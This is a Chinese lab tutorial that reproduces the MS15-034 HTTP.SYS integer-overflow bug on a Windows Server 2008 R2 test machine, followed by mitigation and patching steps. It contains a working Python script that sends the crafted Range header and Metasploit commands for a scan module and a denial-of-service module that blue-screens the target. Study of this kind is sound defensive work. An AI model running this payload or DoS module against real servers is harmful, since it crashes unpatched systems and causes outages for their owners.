当前位置: 首页 > news >正文

发个HTTP请求就蓝屏?MS15-034内核漏洞实战:从POC到补丁防御

摘要:MS15-034(CVE-2015-1635)是Windows HTTP.SYS内核驱动中的一个整数溢出漏洞。攻击者只需向目标Web服务器发送一个恶意构造的HTTP Range请求,即可导致系统蓝屏崩溃,甚至执行任意代码。本文将基于Kali Linux 2026.1与Windows Server 2008 R2靶机,使用Python POC脚本和Metasploit框架两种方式验证漏洞,演示蓝屏攻击效果。同时深入讲解IIS内核缓存原理,对比关闭内核缓存与安装官方补丁两种防御方案,帮助读者理解漏洞利用与系统加固的完整链路。


一、实验环境说明

设备角色操作系统 / 版本IP地址
攻击机Kali Linux 2026.1(MSFconsole 6.x)10.0.0.129/24
靶机Windows Server 2008 R2(64位)10.0.0.152/24

网络要求:攻击机与靶机同一网段,靶机HTTP服务可访问。

提示:靶机需安装IIS角色并启动默认站点,确保http://10.0.0.152/可正常访问。


二、漏洞传奇:HTTP.SYS内核中的“整数溢出”惨案

漏洞编号:CVE-2015-1635(微软公告MS15-034)

影响组件:Windows HTTP协议栈驱动(HTTP.SYS)—— 内核级组件

理论危害等级:严重(可导致蓝屏拒绝服务,且可能远程代码执行)

故事时间线:

  • 2015年4月:微软发布安全公告MS15-034,修复了HTTP.SYS中的一个整数溢出漏洞。

  • 同年:安全研究人员发现,向IIS服务器发送带有特殊Range头的HTTP请求,可导致系统蓝屏。更令人担忧的是,该漏洞可能被用于远程代码执行,但利用难度极高。

  • 至今:该漏洞仍是Web服务器安全检测中的经典测试项。

漏洞原理(通俗版):HTTP.SYS负责处理所有HTTP请求(包括IIS的请求)。它支持Range头,用于请求文件的特定字节范围。当攻击者构造一个Range头,其起始值和结束值非常大(例如bytes=0-18446744073709551615),内核在计算所需缓存大小时会发生整数溢出,导致内核内存访问异常,最终触发KeBugCheckEx,系统蓝屏。

影响系统(未打补丁的版本):

  • Windows 7 / Windows Server 2008 R2

  • Windows 8 / Windows Server 2012

  • Windows 8.1 / Windows Server 2012 R2

  • Windows Vista / Windows Server 2008

Windows 10 及更高版本不受影响。


三、方法一:使用Python POC脚本检测漏洞

步骤1:在Kali中创建POC脚本

创建文件ms15-034-poc.py

#!/usr/bin/env python3 import socket import sys def main(): ipAddr = "10.0.0.152" # 使用 2^64 - 1 作为超大范围值,表示 bytes=0-18446744073709551615 hexAllFfff = "18446744073709551615" req1 = "GET / HTTP/1.0\r\n\r\n" req = f"GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-{hexAllFfff}\r\n\r\n" print("[*] 开始漏洞检测...") try: # 第一次请求,检测是否为 IIS client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80)) client_socket.send(req1.encode()) boringResp = client_socket.recv(1024).decode(errors='ignore') client_socket.close() if "Microsoft" not in boringResp: print("[*] 目标似乎不是 IIS,无法检测此漏洞") sys.exit(0) # 第二次请求,发送恶意 Range 头 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80)) client_socket.send(req.encode()) goodResp = client_socket.recv(1024).decode(errors='ignore') client_socket.close() if "Requested Range Not Satisfiable" in goodResp: print("[!!] 目标存在漏洞!(未修复)") elif "The request has an invalid header name" in goodResp: print("[*] 目标已修复漏洞 (已打补丁)") else: print("[*] 收到意外响应,无法确定补丁状态") except Exception as e: print(f"[!] 发生错误: {e}") sys.exit(1) if __name__ == "__main__": main()

步骤2:执行POC脚本
python3 ms15-034-poc.py

输出:


四、方法二:使用Metasploit扫描与攻击

步骤1:启动MSF并搜索模块
msfconsole -q msf > search ms15-034

结果中会出现两个模块:

  • auxiliary/scanner/http/ms15_034_http_sys_memory_dump—— 扫描检测模块

  • auxiliary/dos/http/ms15_034_ulonglong_add—— 拒绝服务攻击模块

步骤2:使用扫描模块检测
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump msf > set RHOSTS 10.0.0.152 msf > run

如果靶机脆弱,输出:

[+] The target is vulnerable.

步骤3:发起蓝屏攻击
msf > back msf > use auxiliary/dos/http/ms15_034_ulonglong_add msf > set RHOSTS 10.0.0.152 msf > run

执行后,靶机立刻蓝屏重启。


五、深度解析:为什么会蓝屏?IIS内核缓存是什么?

IIS内核缓存:为了提升静态文件(图片、CSS、JS等)的响应速度,IIS会将频繁访问的文件内容缓存到内核内存中(HTTP.SYS层)。当客户端请求文件的一个部分(Range请求)时,内核缓存可以直接响应,无需切换到用户态的IIS工作进程,从而大幅提高性能。

漏洞本质:恶意Range头导致内核在计算缓存大小(long long类型加法)时溢出,内核无法正确处理,触发KeBugCheckEx蓝屏。


六、临时防御:关闭IIS内核缓存

步骤1:在靶机上打开IIS管理器
  • 开始 → 管理工具 → Internet 信息服务(IIS)管理器

步骤2:关闭内核缓存
  • 选择目标网站(如“Default Web Site”)

  • 双击“输出缓存”

  • 点击右侧操作栏的“编辑功能设置…”

  • 取消勾选“启用内核缓存”,点击确定

步骤3:再次攻击测试

重新运行POC脚本或MSF攻击模块,靶机不再蓝屏。因为漏洞触发点(内核缓存处理)已被关闭,恶意Range请求被传递到用户态IIS进程,而用户态代码不易触发蓝屏。

注意:关闭内核缓存会降低静态文件的响应性能,仅适用于临时缓解。生产环境应优先打补丁。

步骤4:重新开启内核缓存

按照相同路径重新勾选“启用内核缓存”。


七、永久修复:安装微软官方补丁

补丁信息:

  • 安全公告:MS15-034

  • 对应KB编号:KB3042553(Windows Server 2008 R2)

可以从这里下载,也可以从补丁库下载

下载地址:https://catalog.update.microsoft.com/Search.aspx?q=KB3042553

安装与验证:

下载补丁并拷贝到靶机,运行安装程序,完成后重启

再次运行POC脚本或MSF扫描模块:

python3 ms15-034-poc.py # 输出: [*] 目标已修复漏洞 (已打补丁)

或者MSF扫描模块输出

结论:安装补丁后,漏洞被完全修复,无需关闭内核缓存即可保证安全。


八、总结

本文对MS15-034(CVE-2015-1635)HTTP.SYS内核整数溢出漏洞进行了完整的复现、临时防御与永久修复研究。在Kali Linux 2026.1攻击机(10.0.0.129)与未打补丁的Windows Server 2008 R2靶机(10.0.0.152)构成的隔离网络环境中,首先使用Python POC脚本发送恶意Range请求,成功导致靶机蓝屏重启。随后利用Metasploit框架的扫描模块确认漏洞存在,并通过拒绝服务攻击模块再次触发蓝屏,验证了该漏洞的低复杂度、高破坏性特征。深度分析表明漏洞根源在于IIS内核缓存对用户输入的Range值未做边界校验,导致整数溢出引发内核崩溃。实验对比了两种防御方案:临时关闭IIS内核缓存可阻断攻击路径,但会牺牲静态文件响应性能;而安装微软官方安全更新KB3042553则从根本上修复了整数溢出逻辑,既不损失性能又能永久免疫攻击。因此,对于生产环境,建议优先采用打补丁方案;对于无法立即更新的老旧系统,可临时关闭内核缓存作为应急措施。本文的实验结果可为Web服务器安全加固与应急响应提供参考。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

http://www.jsqmd.com/news/785445/

相关文章:

  • 300GB Procreate插画教程合集零基础到接稿
  • AI Agent参与软件开发遇挑战,UModel代码知识图谱助力AI原生软件工程
  • MPAI-EEV:AI端到端视频编码如何重塑视频压缩技术格局
  • 20251917李鑫明-实践七 Linux系统攻防
  • AEC行业AI与机器人伦理挑战:安全、公平与治理框架
  • Redis学习5 分布式缓存(下)
  • 深度学习在眼科AI诊断中的应用:从模型构建到临床落地
  • KITTI不够用?深度评测ORFD:这个专为越野打造的免费数据集到底香不香
  • meituan mtgsig1.2
  • CANN/pyasc架构介绍
  • cann/sip asdConvolve卷积滤波算子
  • 2026 年鼓楼区 GEO 优化公司深度测评:南京赢之乐凭本土深耕与合规技术领跑 - 小艾信息发布
  • AI智能体技能开发实战:从黄历查询看垂直领域知识封装
  • 多模态机器学习:从融合范式到MULTIBENCH基准实践
  • 3篇3章8节:Obsidian 的全方位写作工作流
  • 解锁私人游戏云:用Sunshine打造专属游戏串流服务器
  • AI数据污染与模型退化:扩散模型自训练实验揭示反馈循环风险
  • 顶会论文模块复现与二次创新:ICLR 2026 复现:状态空间模型 Vim 模块在视觉检测中的高效替代与 YOLO 集成
  • 2026年5月武汉殡葬机构靠谱服务商深度测评攻略 - 海棠依旧大
  • 鄂尔多斯地磅配件采购指南:本地标杆厂家与高性价比定制方案推荐 - 品牌策略师
  • 从FOLD规则到反事实解释:构建可信AI系统的核心技术路径
  • CANN/HCCL集合通信库快速入门指南
  • 芯片设计实战:变异感知设计方法论与先进工艺下的良率挑战
  • 扩散模型原理与实践:从噪声预测到图像生成的AI核心技术
  • cann/ops-math矩阵乘压缩解压缩算子
  • 《龙虾OpenClaw系列:从嵌入式裸机到芯片级系统深度实战60课》038、多核架构入门——双核通信与共享内存
  • AI赋能分子相互作用:几何深度学习在药物与材料设计中的实践
  • 保姆级教程:用Tinc在Ubuntu 22.04上搭建一个加密的虚拟局域网(附多节点配置避坑指南)
  • UIKit开发者的桌面助手:生命周期、内存、并发与集合视图实践指南
  • 《网络攻防实践》实践八报告